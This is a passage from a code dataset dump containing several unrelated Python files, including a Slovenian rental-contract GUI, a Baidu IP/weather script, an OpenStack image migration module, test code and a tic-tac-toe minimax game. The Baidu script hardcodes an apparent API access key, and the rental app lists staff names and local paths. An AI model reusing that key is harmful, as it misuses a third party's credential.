bg=\"light blue\", fg=\"red\", command=lambda: [doc.save(pogodba_name + \".docx\"), df.to_excel(\"seznam_najemov_new.xlsx\"), doc1.save(prevzemni_name + \".docx\"), convert(\"C:\\\\Users\\\\ikogovsek\\\\Desktop\\\\IGOR\\\\Python\\\\pythonProject\\\\\" + pogodba_name + \".docx\", \"C:\\\\Users\\\\ikogovsek\\\\Desktop\\\\IGOR\\\\Python\\\\pythonProject\\\\PDF\"), convert(\"C:\\\\Users\\\\ikogovsek\\\\Desktop\\\\IGOR\\\\Python\\\\pythonProject\\\\\" + prevzemni_name + \".docx\", \"C:\\\\Users\\\\ikogovsek\\\\Desktop\\\\IGOR\\\\Python\\\\pythonProject\\\\PDF\"), master3.destroy(), master.destroy()], width=10)\r\n yes_btn.pack(padx=10, pady=10, side=LEFT)\r\n no_btn = Button(frame1, text=\"Ne\", bg=\"light blue\", fg=\"red\", command=master3.destroy, width=10)\r\n no_btn.pack(padx=10, pady=10, side=LEFT)\r\n\r\n else:\r\n master2 = tk.Tk()\r\n master2.title(\"SELMARapp - ERROR - manjkajo podatki\")\r\n canvas = Canvas(master2, width=450, height=10)\r\n label = Label(master2, text=\"Opala!\\n Niso izpolnjeni vsi podatki za kreiranje pogodbe in zapisnika.\\n Prosim za izpolnitev vseh podatkov!\", font=('Arial', 15))\r\n button = Button(master2, text=\"Ok\", command=master2.destroy)\r\n button.grid(row=3, column=0)\r\n label.grid(row=1, column=0)\r\n canvas.grid()\r\n\r\n master2.mainloop()\r\n\r\n\r\nmaster = tk.Tk()\r\nmaster.title(\"SELMARapp - Najemna pogodba za pravno osebo\")\r\ntk.Label(master, text=\"Ime podjetja: \").grid(row=0)\r\ntk.Label(master, text=\"Ulica: \").grid(row=1)\r\ntk.Label(master, text=\"Hišna številka: \").grid(row=2)\r\ntk.Label(master, text=\"Poštna številka: \").grid(row=3)\r\ntk.Label(master, text=\"Mesto: \").grid(row=4)\r\ntk.Label(master, text=\"Država: \").grid(row=5)\r\ntk.Label(master, text=\"Matična številka: \").grid(row=6)\r\ntk.Label(master, text=\"Davčna številka: \").grid(row=7)\r\ntk.Label(master, text=\"Zastopnik: \").grid(row=8)\r\ntk.Label(master, text=\"Ime in priimek zastopnika: \").grid(row=9)\r\ntk.Label(master, text=\"Znamka: \").grid(row=10)\r\ntk.Label(master, text=\"Model: \").grid(row=11)\r\ntk.Label(master, text=\"VIN: \").grid(row=12)\r\ntk.Label(master, text=\"Registrska oznaka (npr. CE AA-123): \").grid(row=13)\r\ntk.Label(master, text=\"Registriran do: \").grid(row=14)\r\ntk.Label(master, text=\"Najem od vključno: \").grid(row=15)\r\ntk.Label(master, text=\"Najem do vključno: \").grid(row=16)\r\ntk.Label(master, text=\"Obrok z DDV: \").grid(row=17)\r\ntk.Label(master, text=\"Cena na dan ali mesec: \").grid(row=18)\r\ntk.Label(master, text=\"Kraj izdaje: \").grid(row=19)\r\ntk.Label(master, text=\"Skrbnik: \").grid(row=20)\r\n\r\n\r\nLOCATIONS = [\r\n \"PE Celje\",\r\n \"PE Maribor\",\r\n \"PE Slovenska Bistrica\"\r\n]\r\n\r\nPERSONS = [\r\n \"Andrejčič Kevin\",\r\n \"Avberšek Sašo\",\r\n \"Bakračevič Aleksander\",\r\n \"Borko Borut\",\r\n \"Borko Robert\",\r\n \"Colja Danilo\",\r\n \"Golob Tadej\",\r\n \"Gostonj Srečko\",\r\n \"Kogovšek Igor\",\r\n \"Krajnc Klemen\",\r\n \"Kralj Boštjan\",\r\n \"Krumpak Tjaša\",\r\n \"Mašat Sandi\",\r\n \"Peklar Maja\",\r\n \"Sekulič Peter\",\r\n \"Seles Marcel\",\r\n \"Seles Uroš\"\r\n]\r\n\r\nFACTURING = [\r\n \"mesec\",\r\n \"dan\"\r\n]\r\n\r\nZASTOPNIKI = [\r\n \"direktor\",\r\n \"predsednik uprave\",\r\n \"prokurist\",\r\n \"ustanovitelj\"\r\n\r\n]\r\n\r\nzastopnik = StringVar(master)\r\nzastopnik.set(\"Izberi\")\r\n\r\nfakturiranje = StringVar(master)\r\nfakturiranje.set(\"Izberi\")\r\n\r\nskrbnik = StringVar(master)\r\nskrbnik.set(\"Izberi\")\r\n\r\nlokacija = StringVar(master)\r\nlokacija.set(\"Izberi\")\r\n\r\ne1 = tk.Entry(master)\r\ne2 = tk.Entry(master)\r\ne3 = tk.Entry(master)\r\ne4 = tk.Entry(master)\r\ne5 = tk.Entry(master)\r\ne6 = tk.Entry(master)\r\ne7 = tk.Entry(master)\r\ne8 = tk.Entry(master)\r\ne9 = OptionMenu(master, zastopnik, *ZASTOPNIKI)\r\ne10 = tk.Entry(master)\r\ne11 = tk.Entry(master)\r\ne12 = tk.Entry(master)\r\ne13 = tk.Entry(master)\r\ne14 = tk.Entry(master)\r\ne15 = tk.Entry(master)\r\ne16 = tk.Entry(master)\r\ne17 = tk.Entry(master)\r\ne18 = tk.Entry(master)\r\ne19 = OptionMenu(master, fakturiranje, *FACTURING)\r\ne20 = OptionMenu(master, lokacija, *LOCATIONS)\r\ne21 = OptionMenu(master, skrbnik, *PERSONS)\r\n\r\ne1.grid(row=0, column=1)\r\ne2.grid(row=1, column=1)\r\ne3.grid(row=2, column=1)\r\ne4.grid(row=3, column=1)\r\ne5.grid(row=4, column=1)\r\ne6.grid(row=5, column=1)\r\ne7.grid(row=6, column=1)\r\ne8.grid(row=7, column=1)\r\ne9.grid(row=8, column=1)\r\ne10.grid(row=9, column=1)\r\ne11.grid(row=10, column=1)\r\ne12.grid(row=11, column=1)\r\ne13.grid(row=12, column=1)\r\ne14.grid(row=13, column=1)\r\ne15.grid(row=14, column=1)\r\ne16.grid(row=15, column=1)\r\ne17.grid(row=16, column=1)\r\ne18.grid(row=17, column=1)\r\ne19.grid(row=18, column=1)\r\ne20.grid(row=19, column=1)\r\ne21.grid(row=20, column=1)\r\n\r\nbutton1 = tk.Button(master,\r\n text='Nazaj',\r\n command=master.destroy).grid(row=21,\r\n column=0,\r\n sticky=tk.W,\r\n pady=4)\r\nbutton2 = tk.Button(master,\r\n text='Kreiraj pogodbo in prevzemni zapisnik', command=kreiraj_pogodbo_in_zapisnik_PO).grid(row=21,\r\n column=1,\r\n sticky=tk.W,\r\n pady=4)\r\n\r\n\r\n\r\nmaster.mainloop()\r\n","sub_path":"pogodba_in_prevzemni_za_pravne_osebe.py","file_name":"pogodba_in_prevzemni_za_pravne_osebe.py","file_ext":"py","file_size_in_byte":27699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"568503601","text":"import requests\nimport json\nimport socket\n\n\n\nAK = 'TD9rhDMNi0K54nFWOXaPvx8WBQqUrRif'\n\nurl_ip = 'https://api.map.baidu.com/location/ip?ak=您的AK&ip=您的IP&coor=bd09ll'\n\nurl_weather = 'http://api.map.baidu.com/weather/v1/?data_type=all&ak='+AK\n\ndef main():\n\n '''data = requests.get(url_weather).json()\n print(data)'''\n\n hostname = socket.gethostname()\n # 获取本机ip\n ip = socket.gethostbyname(hostname)\n print(ip)\n\n value = {\n 'ak': AK,\n 'ip': '58.60.230.210',\n 'coor': 'bd09ll'\n#coor=bd09ll\n }\n\n '''weather = requests.get(url_ip, params=value).json()\n print(weather)'''\n\n url = 'https://ip.cn/'\n res = requests.get(url)\n print(res)\n\nif __name__=='__main__':\n main()\n","sub_path":"uilt/ip_address.py","file_name":"ip_address.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"56499810","text":"#Importing the functions from the other files\r\nfrom functionone import dataLoad\r\nfrom functiontwo import dataStatistics\r\nfrom functionthree import DataPlot\r\n\r\n\r\nprint (\"1. Load data.\\n2. Filter data.\\n3. Display statistics.\\n4. Generate plots.\\n5. Quit.\"\r\n)\r\nfilter = \"first\"\r\nloadData = False\r\n#Asking the user to write a number and converting the string into an int.\r\noption = int(input(\"Select an option: \"))\r\n\r\n#If the user do not type 5, the looping will not stop, and the program will not stop running\r\nwhile option != 5:\r\n \r\n #If the user writes an input different than 1, 2, 3, 4, 5, the program will ask to type another number. \r\n if (option < 1) or (option > 5):\r\n print (\"Try writing another number\")\r\n option = int(input(\"Select an option: \"))\r\n \r\n else:\r\n #If the user writes \"1\", then the program will ask him the file name and run the first function\r\n if option == 1:\r\n dataName = input(\"Insert the name of the data file: \")\r\n data = dataLoad(dataName)\r\n loadData = True\r\n \r\n #If the user writes \"2\", then the program will analyse if the filter is already on\r\n elif option == 2:\r\n #If the data is not loaded yet, print an error message:\r\n if not loadData:\r\n print (\"Data is not loaded\") \r\n option = int(input(\"Select an option: \"))\r\n else:\r\n if filter == \"on\":\r\n #If it is on, it will ask the user if he/she wants to desactivate the filter.\r\n answ = input(\"Do you want to deactivate the filter? \")\r\n if answ.lower() == \"yes\":\r\n filter = \"off\"\r\n \r\n else:\r\n newData = []\r\n bacteriatype = input(\"Insert the name of the bacteria type: \")\r\n maxRGR = float(input(\"Insert the maximum range of growth rate: \"))\r\n minRGR = float(input(\"Insert the minimum range of growth rate: \"))\r\n \r\n #Adding the bacteria filter\r\n for i in data:\r\n if bacteriatype.lower() == \"salmonella enterica\":\r\n if i[2] == 1:\r\n newData += [i]\r\n elif bacteriatype.lower() == \"bacillus cereus\":\r\n if i[2] == 2:\r\n newData += [i]\r\n elif bacteriatype.lower() == \"listeria\":\r\n if i[2] == 3:\r\n newData += [i]\r\n elif bacteriatype.lower() == \"brochothrix thermosphacta\":\r\n if i[2] == 4:\r\n newData += [i]\r\n \r\n #Adding the maximum and minimum ranges filter\r\n newData2 = []\r\n for i in newData:\r\n if i[1] >= minRGR and i[1] <= maxRGR:\r\n newData2 += [i]\r\n filter = \"on\"\r\n \r\n #If the user selects the 3rd option, then the program will ask about which statistic he/she wants to display and run the function\r\n elif option == 3:\r\n #If the data is not loaded yet, print an error message:\r\n if not loadData:\r\n print (\"Data is not loaded\")\r\n option = int(input(\"Select an option: \"))\r\n else:\r\n #Printing the options of the statistics\r\n print(\"\\nOptions: \\nMean temperature\\nMean Growth Rate\\nStd temperature\\nStd Growth Rate\\nRows\\nMean Cold Growth Rate\\nMean Hot Growth Rate\")\r\n statistic = input(\"Which statistic do you want to display? \")\r\n #Running the function with filter on and printing\r\n if filter == \"on\":\r\n print(dataStatistics(newData2, statistic))\r\n #Running the function with filter off and printing\r\n else:\r\n print(dataStatistics(data, statistic))\r\n \r\n #If the user selects the 4th option, then the program will run the plotting function\r\n elif option == 4:\r\n #If the data is not loaded yet, print an error message:\r\n if not loadData:\r\n print (\"Data is not loaded\")\r\n option = int(input(\"Select an option: \"))\r\n else:\r\n #Running the plotting function with filter on and printing\r\n if filter == \"on\":\r\n print(DataPlot(newData2))\r\n #Running the plotting function without a filter and printing\r\n else:\r\n print(DataPlot(data))\r\n \r\n #Printing which filter is on every time an option is selected\r\n if filter == \"on\":\r\n print(\"The filter is on with bacteria:\", bacteriatype, \", maximum range:\" ,maxRGR, \"and mininimum range\" ,minRGR)\r\n #The user can select the next option\r\n if loadData:\r\n option = int(input(\"Select an option: \"))\r\n \r\nprint (\"The program stopped running, hej hej!\")","sub_path":"mainscript.py","file_name":"mainscript.py","file_ext":"py","file_size_in_byte":5216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"505914580","text":"from __future__ import (absolute_import, division, print_function)\n__metaclass__ = type\n\nimport hashlib\nimport openstack\nimport os\n\nfrom ansible_collections.os_migrate.os_migrate.plugins.module_utils \\\n import const, exc, reference, resource\n\n\nclass Image(resource.Resource):\n\n resource_type = const.RES_TYPE_IMAGE\n sdk_class = openstack.image.v2.image.Image\n\n info_from_sdk = [\n 'checksum',\n 'created_at',\n 'direct_url',\n 'file',\n 'id',\n 'instance_uuid',\n 'kernel_id',\n 'locations',\n 'metadata',\n 'owner_id', # like project_id in other resources\n 'ramdisk_id',\n 'schema',\n 'size',\n 'status',\n 'store',\n 'updated_at',\n 'url',\n 'virtual_size',\n ]\n params_from_sdk = [\n 'architecture',\n 'container_format',\n 'disk_format',\n 'has_auto_disk_config',\n 'hash_algo',\n 'hash_value',\n 'hw_cpu_cores',\n 'hw_cpu_policy',\n 'hw_cpu_sockets',\n 'hw_cpu_thread_policy',\n 'hw_cpu_threads',\n 'hw_disk_bus',\n 'hw_machine_type',\n 'hw_qemu_guest_agent',\n 'hw_rng_model',\n 'hw_scsi_model',\n 'hw_serial_port_count',\n 'hw_video_model',\n 'hw_video_ram',\n 'hw_vif_model',\n 'hw_watchdog_action',\n 'hypervisor_type',\n 'instance_type_rxtx_factor',\n 'is_hidden',\n 'is_hw_boot_menu_enabled',\n 'is_hw_vif_multiqueue_enabled',\n 'is_protected',\n 'min_disk',\n 'min_ram',\n 'name',\n 'needs_config_drive',\n 'needs_secure_boot',\n 'os_admin_user',\n 'os_command_line',\n 'os_distro',\n 'os_require_quiesce',\n 'os_shutdown_timeout',\n 'os_type',\n 'os_version',\n 'properties',\n 'visibility',\n 'vm_mode',\n 'vmware_adaptertype',\n 'vmware_ostype',\n ]\n params_from_refs = [\n 'kernel_ref',\n 'ramdisk_ref',\n ]\n sdk_params_from_refs = [\n 'kernel_id',\n 'ramdisk_id',\n ]\n\n @classmethod\n def from_sdk(cls, conn, sdk_resource):\n obj = super().from_sdk(conn, sdk_resource)\n params = obj.params()\n\n # The SDK returns a dict with key 'properties' whose value is also a dict, when later\n # (in method _to_sdk_params) calling create or update the keys and values of the 'properties' dict are\n # copied as paramaters. This is not appropriate for all keys of the 'properties' dict as attempting to\n # modify some image properties will cause the entire request to fail with a 403 (Forbidden) response\n # code. As such we delete these keys from the 'properties' dict. Below is the current list we delete.\n #\n # * 'stores'\n # Attribute 'stores' is read-only now. Due to bug https://bugs.launchpad.net/glance/+bug/1889676 glance now\n # sets stores as a read only property. As such we should remove it from any create or update calls.\n # * 'self'\n # We need to remove 'self' from properties as it would break\n # idempotency check and it's not really a property anyway.\n readonly_properties = ['self', 'stores']\n\n # cast .keys() to list to avoid 'dictionary changed size during iteration' error\n for key in list((params.get('properties') or {}).keys()):\n if key in readonly_properties:\n del params['properties'][key]\n return obj\n\n def create_or_update(self, conn, filters=None, blob_path=None):\n if not blob_path:\n raise exc.InconsistentState(\n \"create_or_update for Image requires blob_path to be given\")\n refs = self._refs_from_ser(conn)\n sdk_params = self._to_sdk_params(refs)\n sdk_params['filename'] = blob_path\n existing = self._find_sdk_res(conn, sdk_params['name'], filters)\n if existing:\n if self._needs_update(self.from_sdk(conn, existing)):\n self._remove_readonly_params(sdk_params)\n self._update_sdk_res(conn, existing, sdk_params)\n return True\n else:\n self._create_sdk_res(conn, sdk_params)\n return True\n return False # no change done\n\n @classmethod\n def _create_sdk_res(cls, conn, sdk_params):\n # Some params are missing from Glance's automatic type\n # conversion (typically booleans) and just passing\n # e.g. is_protected as kwarg will fail. It seems that it's\n # just better to feed whatever we can via meta.\n meta_keys = set(cls.params_from_sdk)\n meta_keys.remove('name')\n meta = {}\n for key in meta_keys:\n if key in sdk_params:\n meta[key] = sdk_params.pop(key)\n\n return conn.image.create_image(**sdk_params, meta=meta)\n\n @staticmethod\n def _find_sdk_res(conn, name_or_id, filters=None):\n # Glance filter require owner instead of project_id.\n glance_filters = dict(filters or {})\n if 'project_id' in glance_filters:\n glance_filters['owner'] = glance_filters.pop('project_id')\n\n # Unlike other find methods, find_image doesn't support\n # filters, our best option is probably to do a filtered list\n # and then match on name or id.\n images = conn.image.images(**glance_filters)\n for image in images:\n if image['id'] == name_or_id or image['name'] == name_or_id:\n return image\n return None\n\n @staticmethod\n def _refs_from_sdk(conn, sdk_res):\n refs = {}\n refs['kernel_id'] = sdk_res['kernel_id']\n refs['kernel_ref'] = reference.image_ref(conn, sdk_res['kernel_id'])\n refs['ramdisk_id'] = sdk_res['ramdisk_id']\n refs['ramdisk_ref'] = reference.image_ref(conn, sdk_res['ramdisk_id'])\n return refs\n\n def _refs_from_ser(self, conn):\n refs = {}\n params = self.params()\n refs['kernel_ref'] = params['kernel_ref']\n refs['kernel_id'] = reference.image_id(conn, params['kernel_ref'])\n refs['ramdisk_ref'] = params['ramdisk_ref']\n refs['ramdisk_id'] = reference.image_id(conn, params['ramdisk_ref'])\n return refs\n\n @staticmethod\n def _update_sdk_res(conn, sdk_res, sdk_params):\n return conn.image.update_image(sdk_res, **sdk_params)\n\n def _to_sdk_params(self, refs):\n sdk_params = super()._to_sdk_params(refs)\n # Special Glance thing - properties should be specified as\n # kwargs.\n for key, val in (sdk_params.get('properties') or {}).items():\n sdk_params[key] = val\n return sdk_params\n\n\ndef export_blob(conn, sdk_res, path):\n if os.path.exists(path):\n return False\n\n chunk_size = 1024 * 1024 # 1 MiB\n checksum = hashlib.md5()\n try:\n with open(path, \"wb\") as image_file:\n response = conn.image.download_image(sdk_res, stream=True)\n\n for chunk in response.iter_content(chunk_size=chunk_size):\n checksum.update(chunk)\n image_file.write(chunk)\n\n if response.headers[\"Content-MD5\"] != checksum.hexdigest():\n raise Exception(\"Downloaded image checksum mismatch\")\n except: # noqa: E722\n # Do not keep incomplete downloads as the idempotence\n # mechanism would consider them successfully downloaded.\n os.remove(path)\n raise\n\n return True\n","sub_path":"os_migrate/plugins/module_utils/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":7491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"313626414","text":"# --------------------------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for license information.\n# -----------------------------------------------------------------------------------\n\nimport unittest\nimport asyncio\nimport logging\nfrom mock_event_processor import MockEventProcessor\nfrom mock_credentials import MockCredentials\nfrom eventprocessorhost.eph import EventProcessorHost\nfrom eventprocessorhost.azure_storage_checkpoint_manager import AzureStorageCheckpointLeaseManager\nfrom eventprocessorhost.azure_blob_lease import AzureBlobLease\nfrom eventprocessorhost.eh_partition_pump import EventHubPartitionPump\n\nclass PartitionPumpTestCase(unittest.TestCase):\n \"\"\"Tests for `eh_partition_pump.py`.\"\"\"\n\n def __init__(self, *args, **kwargs):\n \"\"\"\n Simulate partition pump\n \"\"\"\n super(PartitionPumpTestCase, self).__init__(*args, **kwargs)\n self._credentials = MockCredentials()\n self._consumer_group = \"$Default\"\n self._storage_clm = AzureStorageCheckpointLeaseManager(self._credentials.storage_account,\n self._credentials.storage_key,\n self._credentials.lease_container)\n self._host = EventProcessorHost(MockEventProcessor, self._credentials.eh_address,\n self._consumer_group, storage_manager=self._storage_clm)\n\n self._lease = AzureBlobLease()\n self._lease.with_partition_id(\"1\")\n self._partition_pump = EventHubPartitionPump(self._host, self._lease)\n\n logging.basicConfig(filename='eph.log', level=logging.INFO,\n format='%(asctime)s:%(msecs)03d, \\'%(message)s\\' ',\n datefmt='%Y-%m-%d:%H:%M:%S')\n\n self._loop = asyncio.get_event_loop()\n\n def test_epp_async(self):\n \"\"\"\n Test that event hub partition pump opens and processess messages sucessfully then closes\n \"\"\"\n print(\"\\nTest that event hub partition pump opens and processess messages sucessfully then closes:\")\n self._loop.run_until_complete(self._partition_pump.open_async()) # Simulate Open\n self._loop.run_until_complete(self._partition_pump.close_async(\"Finished\")) # Simulate Close\n return True\n\n # def test_bad_credentials(self):\n # \"\"\"\n # Test that the pipe shuts down as expected if given bad credentials\n # This is failing since eh client api doesn't give a way to check if connection failed and is running in seperate thread\n # \"\"\"\n # print(\"\\nTest that the pipe shuts down as expected if given bad credentials:\")\n # self._host = EventProcessorHost(MockEventProcessor, \"Fake Credentials\",\n # self._consumer_group)\n # self._partition_pump = EventHubPartitionPump(self._host, self._lease)\n # self._loop.run_until_complete(self._partition_pump.open_async()) # Simulate Open\n # return True\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"eventprocessorhost/tests/test_eh_partition_pump.py","file_name":"test_eh_partition_pump.py","file_ext":"py","file_size_in_byte":3224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"117941457","text":"# Python bytecode 2.7 (decompiled from Python 2.7)\n# Embedded file name: e:\\jenkins\\workspace\\client_SERENITY\\branches\\release\\SERENITY\\packages\\fsd\\schemas\\loaders\\listLoader.py\nimport ctypes\nimport collections\nfrom fsd.schemas.path import FsdDataPathObject\nimport fsd.schemas.predefinedStructTypes as structTypes\n\nclass FixedSizeListIterator(object):\n\n def __init__(self, data, offset, itemSchema, itemCount, path, itemSize, extraState):\n self.data = data\n self.offset = offset\n self.itemSchema = itemSchema\n self.count = itemCount\n self.itemSize = itemSize\n self.index = -1\n self.__path__ = path\n self.__extraState__ = extraState\n\n def __iter__(self):\n return self\n\n def next(self):\n self.index += 1\n if self.index == self.count:\n raise StopIteration()\n return self.__extraState__.RepresentSchemaNode(self.data, self.offset + self.itemSize * self.index, FsdDataPathObject('[%s]' % str(self.index), parent=self.__path__), self.itemSchema)\n\n\nclass FixedSizeListRepresentation(object):\n\n def __init__(self, data, offset, itemSchema, path, extraState, knownLength=None):\n self.data = data\n self.offset = offset\n self.itemSchema = itemSchema\n self.__extraState__ = extraState\n self.__path__ = path\n if knownLength is None:\n self.count = structTypes.uint32.unpack_from(data, offset)[0]\n self.fixedLength = False\n else:\n self.count = knownLength\n self.fixedLength = True\n self.itemSize = itemSchema['size']\n return\n\n def __iter__(self):\n countOffset = 0 if self.fixedLength else 4\n return FixedSizeListIterator(self.data, self.offset + countOffset, self.itemSchema, self.count, self.__path__, self.itemSize, self.__extraState__)\n\n def __len__(self):\n return self.count\n\n def __getitem__(self, key):\n if type(key) not in (int,\n long):\n raise TypeError('Invalid key type')\n if key < 0 or key >= self.count:\n raise IndexError('Invalid item index %i for list of length %i' % (key, self.count))\n countOffset = 0 if self.fixedLength else 4\n totalOffset = self.offset + countOffset + self.itemSize * key\n return self.__extraState__.RepresentSchemaNode(self.data, totalOffset, FsdDataPathObject('[%s]' % str(key), parent=self.__path__), self.itemSchema)\n\n\nclass VariableSizedListRepresentation(object):\n\n def __init__(self, data, offset, itemSchema, path, extraState, knownLength=None):\n self.data = data\n self.offset = offset\n self.itemSchema = itemSchema\n self.__extraState__ = extraState\n self.__path__ = path\n if knownLength is None:\n self.count = structTypes.uint32.unpack_from(data, offset)[0]\n self.fixedLength = False\n else:\n self.count = knownLength\n self.fixedLength = True\n return\n\n def __len__(self):\n return self.count\n\n def __getitem__(self, key):\n if type(key) not in (int,\n long):\n raise TypeError('Invalid key type')\n if key < 0 or key >= self.count:\n raise IndexError('Invalid item index %i for list of length %i' % (key, self.count))\n countOffset = 0 if self.fixedLength else 4\n dataOffsetFromObjectStart = structTypes.uint32.unpack_from(self.data, self.offset + countOffset + 4 * key)[0]\n return self.__extraState__.RepresentSchemaNode(self.data, self.offset + dataOffsetFromObjectStart, FsdDataPathObject('[%s]' % str(key), parent=self.__path__), self.itemSchema)\n\n\ndef ListFromBinaryString(data, offset, schema, path, extraState, knownLength=None):\n knownLength = schema.get('length', knownLength)\n if 'fixedItemSize' in schema:\n listLikeObject = FixedSizeListRepresentation(data, offset, schema['itemTypes'], path, extraState, knownLength)\n else:\n listLikeObject = VariableSizedListRepresentation(data, offset, schema['itemTypes'], path, extraState, knownLength)\n return list(listLikeObject)","sub_path":"client/fsd/schemas/loaders/listLoader.py","file_name":"listLoader.py","file_ext":"py","file_size_in_byte":4118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"634245216","text":"from setuptools import setup, find_packages\n\nsetup_requires = [\n ]\n\ninstall_requires = [\n\t'pyserial>=3.5',\n\t'numpy',\n\t'colorama',\n\t'matplotlib'\n ]\n\ndependency_links = [\n ]\ndesc = \"\"\"\\\nPython package for controlling CoDrone\n\"\"\"\n\nsetup(\n name='CoDrone',\n version='1.2.8',\n description='Python package for CoDrone',\n url='https://github.com/RobolinkInc/CoDrone-python.git',\n author='Robolink',\n author_email='info@robolink.com',\n packages=[\"CoDrone\"],\n keywords=['robolink','drone','codrone'],\n include_package_data=True,\n install_requires=install_requires,\n setup_requires=setup_requires,\n dependency_links=dependency_links,\n python_requires='>=3',\n )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"462319658","text":"\"\"\"\ngetkeyword.py\n获取返回值中的某一个字段,用于接口间的关联\n实际上就是对字典一个操作,通过字典的键查找对应的值\n通过jsonpath库获取字段值\n安装jsonpath\n pip install jsonpath\n使用jsonpath\n jsonpath.jsonpath(数据源,\"$..关键字\")\n\"\"\"\nimport jsonpath\n\n\ndef get_keyword(data: dict, keyword):\n \"\"\"\n 通过关键字获取对应的值,如果关键字对应的值由多个,那么只获取第一个\n :param keyword:字典关键字\n :param data:数据源\n :return:\n \"\"\"\n try:\n return jsonpath.jsonpath(data, f\"$..{keyword}\")[0]\n except Exception as e:\n print(f\"获取关键字失败:{e}\")\n\n\ndef get_keywords(data: dict, keyword):\n \"\"\"\n 通过关键字获取对应的所有值\n :param keyword:字典关键字\n :param data:数据源\n :return:\n \"\"\"\n return jsonpath.jsonpath(data, f\"$..{keyword}\")\n\n\nif __name__ == '__main__':\n response_data = {\n \"count\": 8,\n \"next\": None,\n \"previous\": None,\n \"results\": [{\"dep_id\": \"T02\",\n \"dep_name\": \"新东方学院_2\",\n \"master_name\": \"贾伟_2\",\n \"slogan\": \"学测试到蓝翔\"},\n\n {\"dep_id\": \"T03\",\n \"dep_name\": \"C++/学院\",\n \"master_name\": \"C++-Master\",\n \"slogan\": \"Here is Slogan\"}, ]}\n print(get_keyword(response_data, \"dep_id\"))\n print(get_keywords(response_data, \"dep_id\"))\n","sub_path":"common/getkeyword.py","file_name":"getkeyword.py","file_ext":"py","file_size_in_byte":1505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"121340771","text":"import random\nfrom itertools import cycle\nimport math\nimport re\n\nmoves = [\"X\", \"O\"]\nmoves_cycle = cycle(moves)\n\n\ndef print_field(l):\n print(\"\"\"\n---------\n| {} {} {} |\n| {} {} {} |\n| {} {} {} |\n---------\n\"\"\".format(*l))\n\n\ndef check_state(state):\n wins = [state[:3], state[3:6], state[6:], state[0:9:3], state[1:9:3], state[2:9:3], state[0:9:4], state[2:7:2]]\n if abs(state.count(\"X\") - state.count(\"O\")) > 1 or (['X', 'X', 'X'] in wins and ['O', 'O', 'O'] in wins):\n print(\"Impossible\")\n elif ['X', 'X', 'X'] in wins:\n print_field(state)\n print(\"X wins\\n\")\n return True\n elif ['O', 'O', 'O'] in wins:\n print_field(state)\n print(\"O wins\\n\")\n return True\n elif state.count(\"_\") == 0:\n print_field(state)\n print(\"Draw\\n\")\n return True\n else:\n return False\n\n\ndef calc_best_move(state, token):\n state_helper = list(\"012345678\")\n wins = [state[:3], state[3:6], state[6:], state[0:9:3], state[1:9:3], state[2:9:3], state[0:9:4], state[2:7:2]]\n wins_helper = [state_helper[:3], state_helper[3:6], state_helper[6:], state_helper[0:9:3], state_helper[1:9:3],\n state_helper[2:9:3], state_helper[0:9:4], state_helper[2:7:2]]\n for win, helper in list(zip(wins, wins_helper)):\n if win.count(token) == 2 and win.count(\"_\") == 1:\n for i in range(len(win)):\n if win[i] != token:\n return int(helper[i])\n\n\ndef easy_move(state):\n # Random moves\n print('Making move level \"easy\"')\n while True:\n placement = random.randrange(0, 9)\n if state[placement] in [\"O\", \"X\"]:\n continue\n else:\n state[placement] = next(moves_cycle)\n break\n return state\n\n\ndef human_move(state):\n if state.count(\"_\") == 0:\n pass\n while True:\n coordinates = re.split(\"[ ]+\", input(\"Enter the coordinates:\"))\n if not coordinates[0].isdigit() or not coordinates[1].isdigit():\n print(\"You should enter numbers!\")\n continue\n elif int(coordinates[0]) > 3 or int(coordinates[1]) > 3:\n print(\"Coordinates should be from 1 to 3!\")\n continue\n cords_1d = ((int(coordinates[0]) - 1) * 3) + (int(coordinates[1]) - 1)\n if state[cords_1d] != \"_\":\n print(\"This cell is occupied! Choose another one!\")\n continue\n else:\n state[cords_1d] = next(moves_cycle)\n break\n return state\n\n\ndef medium_move(state):\n print('Making move level \"medium\"')\n my_move = next(moves_cycle)\n if my_move == \"X\":\n opponent_move = \"O\"\n else:\n opponent_move = \"X\"\n\n my_placement = calc_best_move(state, my_move)\n opp_placement = calc_best_move(state, opponent_move)\n # calc win in one for myself:\n if my_placement is not None:\n state[my_placement] = my_move\n return state\n # calc win in one for the opponent:\n elif opp_placement is not None:\n state[opp_placement] = my_move\n return state\n # if no win in one or block of a win in one make a random move\n while True:\n placement = random.randrange(0, 9)\n if state[placement] in [\"O\", \"X\"]:\n continue\n else:\n state[placement] = my_move\n break\n return state\n\n\ndef minimax(board):\n depth = len(available_moves(board))\n\n if board.count(\"X\") > board.count(\"O\"):\n player = \"O\"\n elif board.count(\"_\") == 9:\n player = \"X\"\n else:\n player = \"X\"\n\n if player == \"X\":\n best = [-1, -math.inf]\n else:\n best = [-1, math.inf]\n\n if depth == 0 or winning(board, \"X\") or winning(board, \"O\"):\n score = board_state(board, \"X\")\n return [-1, score * (depth + 1)]\n\n for cell in available_moves(board):\n sim_board = sim_move(board, cell, player)\n score = minimax(sim_board)[1]\n if player == \"X\":\n if score > best[1]:\n best[0], best[1] = cell, score\n else:\n if score < best[1]:\n best[0], best[1] = cell, score\n return best\n\n\ndef hard_move(state):\n print('Making move level \"hard\"')\n state[minimax(state)[0]] = next(moves_cycle)\n return state\n\n\ndef sim_move(state, move, player):\n sim_state = list(state)\n sim_state[move] = player\n return \"\".join(sim_state)\n\n\ndef 